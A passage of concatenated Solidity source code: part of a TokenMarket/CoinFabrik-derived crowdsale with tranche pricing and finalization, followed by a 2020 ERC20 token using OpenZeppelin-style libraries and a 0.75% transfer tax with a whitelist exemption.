function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
buyOnBehalfWithSignedAddress(msg.sender, customerId, v, r, s);
}
/**
* Investing function that recognizes the payer.
*
* @param customerId UUIDv4 that identifies this contributor
*/
function buyWithCustomerId(uint128 customerId) public payable {
buyOnBehalfWithCustomerId(msg.sender, customerId);
}
/**
* The basic entry point to participate in the crowdsale process.
*
* Pay for funding, get invested tokens back in the sender address.
*/
function buy() public payable {
buyOnBehalf(msg.sender);
}
/**
* Finalize a successful crowdsale.
*
* The owner can trigger post-crowdsale actions, like releasing the tokens.
* Note that by default tokens are not in a released state.
*/
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
finalized = true;
emit Finalized();
}
/**
* Set policy do we need to have server-side customer ids for the investments.
*
*/
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
emit InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
/**
* Set policy if all investors must be cleared on the server side first.
*
* This is e.g. for the accredited investor clearing.
*
*/
function setRequireSignedAddress(bool value, address signer) public onlyOwner {
requiredSignedAddress = value;
signerAddress = signer;
emit InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
/**
* Allow addresses to do early participation.
*/
function setEarlyParticipantWhitelist(address addr, bool status) public onlyOwner notFinished stopInEmergency {
earlyParticipantWhitelist[addr] = status;
emit Whitelisted(addr, status);
}
/**
* Internal setter for the multisig wallet
*/
function setMultisig(address addr) internal {
require(addr != 0);
multisigWallet = addr;
}
/**
* Crowdfund state machine management.
*
* This function has the timed transition builtin.
* So there is no chance of the variable being stale.
*/
function getState() public view returns (State) {
if (finalized) return State.Finalized;
else if (!configured) return State.PendingConfiguration;
else if (now < startsAt) return State.PreFunding;
else if (now <= endsAt && !isCrowdsaleFull()) return State.Funding;
else return State.Success;
}
/** Internal functions that exist to provide inversion of control should they be overriden */
/** Interface for the concrete instance to interact with the token contract in a customizable way */
function assignTokens(address receiver, uint tokenAmount) internal;
/**
* Determine if the goal was already reached in the current crowdsale
*/
function isCrowdsaleFull() internal view returns (bool full);
/**
* Returns any excess wei received
*
* This function can be overriden to provide a different refunding method.
*/
function returnExcedent(uint excedent, address receiver) internal {
if (excedent > 0) {
receiver.transfer(excedent);
}
}
/**
* Calculate the amount of tokens that corresponds to the received amount.
* The wei amount is returned too in case not all of it can be invested.
*
* Note: When there's an excedent due to rounding error, it should be returned to allow refunding.
* This is worked around in the current design using an appropriate amount of decimals in the FractionalERC20 standard.
* The workaround is good enough for most use cases, hence the simplified function signature.
* @return weiAllowed The amount of wei accepted in this transaction.
* @return tokenAmount The tokens that are assigned to the receiver in this transaction.
*/
function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount);
//
// Modifiers
//
modifier inState(State state) {
require(getState() == state);
_;
}
modifier unsignedBuyAllowed() {
require(!requiredSignedAddress);
_;
}
/** Modifier allowing execution only if the crowdsale is currently running. */
modifier notFinished() {
State current_state = getState();
require(current_state == State.PreFunding || current_state == State.Funding);
_;
}
modifier validCustomerId(uint128 customerId) {
require(customerId != 0); // UUIDv4 sanity check
_;
}
}
pragma solidity ^0.4.24;
// Simple deployment information store inside contract storage.
contract DeploymentInfo {
uint private deployed_on;
constructor() public {
deployed_on = block.number;
}
function getDeploymentBlock() public view returns (uint) {
return deployed_on;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*
* Heavily modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/// @dev Tranche based pricing.
/// Implementing "first price" tranches, meaning, that if a buyer's order is
/// covering more than one tranche, the price of the lowest tranche will apply
/// to the whole order.
contract TokenTranchePricing {
using SafeMath for uint;
/**
* Define pricing schedule using tranches.
*/
struct Tranche {
// Amount in tokens when this tranche becomes inactive
uint amount;
// Timestamp interval [start, end)
// Starting timestamp (included in the interval)
uint start;
// Ending timestamp (excluded from the interval)
uint end;
// How many tokens per wei you will get while this tranche is active
uint price;
}
// We define offsets and size for the deserialization of ordered tuples in raw arrays
uint private constant amount_offset = 0;
uint private constant start_offset = 1;
uint private constant end_offset = 2;
uint private constant price_offset = 3;
uint private constant tranche_size = 4;
Tranche[] public tranches;
function getTranchesLength() public view returns (uint) {
return tranches.length;
}
// The configuration from the constructor was moved to the configurationTokenTranchePricing function.
//
/// @dev Construction, creating a list of tranches
/* @param init_tranches Raw array of ordered tuples: (start amount, start timestamp, end timestamp, price) */
//
function configurationTokenTranchePricing(uint[] init_tranches) internal {
// Need to have tuples, length check
require(init_tranches.length % tranche_size == 0);
// A tranche with amount zero can never be selected and is therefore useless.
// This check and the one inside the loop ensure no tranche can have an amount equal to zero.
require(init_tranches[amount_offset] > 0);
uint input_tranches_length = init_tranches.length.div(tranche_size);
Tranche memory last_tranche;
for (uint i = 0; i < input_tranches_length; i++) {
uint tranche_offset = i.mul(tranche_size);
uint amount = init_tranches[tranche_offset.add(amount_offset)];
uint start = init_tranches[tranche_offset.add(start_offset)];
uint end = init_tranches[tranche_offset.add(end_offset)];
uint price = init_tranches[tranche_offset.add(price_offset)];
// No invalid steps
require(start < end && now < end);
// Bail out when entering unnecessary tranches
// This is preferably checked before deploying contract into any blockchain.
require(i == 0 || (end >= last_tranche.end && amount > last_tranche.amount) ||
(end > last_tranche.end && amount >= last_tranche.amount));
last_tranche = Tranche(amount, start, end, price);
tranches.push(last_tranche);
}
}
/// @dev Get the current tranche or bail out if there is no tranche defined for the current timestamp.
/// @param tokensSold total amount of tokens sold, for calculating the current tranche
/// @return Returns the struct representing the current tranche
function getCurrentTranche(uint tokensSold) private view returns (Tranche storage) {
for (uint i = 0; i < tranches.length; i++) {
if (tranches[i].start <= now && now < tranches[i].end && tokensSold < tranches[i].amount) {
return tranches[i];
}
}
// No tranche is currently active
revert();
}
/// @dev Get the current price. May revert if there is no tranche currently active.
/// @param tokensSold total amount of tokens sold, for calculating the current tranche
/// @return The current price
function getCurrentPrice(uint tokensSold) public view returns (uint result) {
return getCurrentTranche(tokensSold).price;
}
}
// This contract has the sole objective of providing a sane concrete instance of the Crowdsale contract.
contract Crowdsale is GenericCrowdsale, LostAndFoundToken, DeploymentInfo, TokenTranchePricing {
uint public sellable_tokens;
uint public initial_tokens;
uint public milieurs_per_eth;
// Minimum amounts of tokens that must be bought by an investor
uint public minimum_buy_value;
address public price_agent;
/*
* The constructor for the crowdsale was removed given it didn't receive any arguments nor had any body.
*
* The configuration from the constructor was moved to the configurationCrowdsale function which creates the token contract and also calls the configuration functions from GenericCrowdsale and TokenTranchePricing.
*
*
* @param team_multisig Address of the multisignature wallet of the team that will receive all the funds contributed in the crowdsale.
* @param start Timestamp where the crowdsale will be officially started. It should be greater than the timestamp in which the contract is deployed.
* @param end Timestamp where the crowdsale finishes. No tokens can be sold through this contract after this timestamp.
* @param token_retriever Address that will handle tokens accidentally sent to the token contract. See the LostAndFoundToken and CrowdsaleToken contracts for further details.
*/
function configurationCrowdsale(address team_multisig, uint start, uint end,
address token_retriever, uint[] init_tranches, uint multisig_supply, uint crowdsale_supply,
uint8 token_decimals) public onlyOwner {
initial_tokens = multisig_supply;
minimum_buy_value = uint(100).mul(10 ** uint(token_decimals));
token = new CrowdsaleToken(multisig_supply, token_decimals, team_multisig, token_retriever);
// Necessary if assignTokens mints
token.setMintAgent(address(this), true);
// Necessary if finalize is overriden to release the tokens for public trading.
token.setReleaseAgent(address(this));
// Necessary for the execution of buy function and of the subsequent CrowdsaleToken's transfer function.
token.setTransferAgent(address(this), true);
// Necessary for the delivery of bounties
token.setTransferAgent(team_multisig, true);
// Crowdsale mints to himself the initial supply
token.mint(address(this), crowdsale_supply);
// Necessary if assignTokens mints
token.setMintAgent(address(this), false);
sellable_tokens = crowdsale_supply;
// Configuration functionality for GenericCrowdsale.
configurationGenericCrowdsale(team_multisig, start, end);
// Configuration functionality for TokenTranchePricing.
configurationTokenTranchePricing(init_tranches);
}
//token assignation
function assignTokens(address receiver, uint tokenAmount) internal {
token.transfer(receiver, tokenAmount);
}
//token amount calculation
function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount) {
//Divided by 1000 because eth eth_price_in_eurs is multiplied by 1000
uint tokensPerEth = getCurrentPrice(tokensSold).mul(milieurs_per_eth).div(1000);
uint maxWeiAllowed = sellable_tokens.sub(tokensSold).mul(1 ether).div(tokensPerEth);
weiAllowed = maxWeiAllowed.min256(weiAmount);
if (weiAmount < maxWeiAllowed) {
tokenAmount = tokensPerEth.mul(weiAmount).div(1 ether);
}
// With this case we let the crowdsale end even when there are rounding errors due to the tokens to wei ratio
else {
tokenAmount = sellable_tokens.sub(tokensSold);
}
// Require a minimum contribution of 100 fulltokens
require(token.balanceOf(receiver).add(tokenAmount) >= minimum_buy_value);
}
// Implements funding state criterion
function isCrowdsaleFull() internal view returns (bool full) {
return tokensSold >= sellable_tokens;
}
/**
* Finalize a successful crowdsale.
*
* The owner can trigger post-crowdsale actions, like releasing the tokens.
* Note that by default tokens are not in a released state.
*/
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
//Tokens sold + bounties represent 82% of the total, the other 18% goes to the multisig, partners and market making
uint sold = tokensSold.add(initial_tokens);
uint toShare = sold.mul(18).div(82);
// Mint the 18% to the multisig
token.setMintAgent(address(this), true);
token.mint(multisigWallet, toShare);
token.setMintAgent(address(this), false);
// Release transfers and burn unsold tokens.
token.releaseTokenTransfer();
token.burn(token.balanceOf(address(this)));
super.finalize();
}
/**
* This function decides who handles lost tokens.
* Do note that this function is NOT meant to be used in a token refund mecahnism.
* Its sole purpose is determining who can move around ERC20 tokens accidentally sent to this contract.
*/
function getLostAndFoundMaster() internal view returns (address) {
return owner;
}
// These two setters are present only to correct timestamps if they are off from their target date by more than, say, a day
function setStartingTime(uint startingTime) public onlyOwner inState(State.PreFunding) {
require(now < startingTime && startingTime < endsAt);
startsAt = startingTime;
}
function setEndingTime(uint endingTime) public onlyOwner notFinished {
require(now < endingTime && startsAt < endingTime);
endsAt = endingTime;
}
function updateEursPerEth (uint milieurs_amount) public notFinished {
require(milieurs_amount >= 100);
require(msg.sender == price_agent);
milieurs_per_eth = milieurs_amount;
}
function updatePriceAgent(address new_price_agent) public onlyOwner notFinished {
price_agent = new_price_agent;
}
/**
* @param new_minimum New minimum amount of indivisible tokens to be required
*/
function setMinimumBuyValue(uint new_minimum) public onlyOwner notFinished {
minimum_buy_value = new_minimum;
}
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/**
*Submitted for verification at Etherscan.io on 2020-12-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => bool) public _whitelistedAddresses;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _burnedSupply;
uint256 private _taxedSupply;
uint256 private _taxRate = 75;
uint256 private _taxRateBase = 10000;
address private _taxAddress;
string private _name;
string private _symbol;
uint256 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 decimals, uint256 initSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = 0;
_mint(msg.sender, initSupply*(10**_decimals));
_burnedSupply = 0;
_taxedSupply = 0;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of burned tokens.
*/
function burnedSupply() public view returns (uint256) {
return _burnedSupply;
}
/**
* @dev Returns the amount of taxed tokens.
*/
function taxedSupply() public view returns (uint256) {
return _taxedSupply;
}
/**
* @dev Returns the burnrate.
*/
function taxRate() public view returns (uint256) {
return _taxRate;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_whitelistedAddresses[sender] == true || _whitelistedAddresses[recipient] == true) {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {
uint256 amount_tax = amount.mul(_taxRate).div(_taxRateBase);
uint256 amount_send = amount.sub(amount_tax);
require(amount == amount_send + amount_tax, "Tax value invalid");
_tax(sender, amount_tax);
amount = amount_send;
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*
* HINT: This function is 'internal' and therefore can only be called from another
* function inside this contract!
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
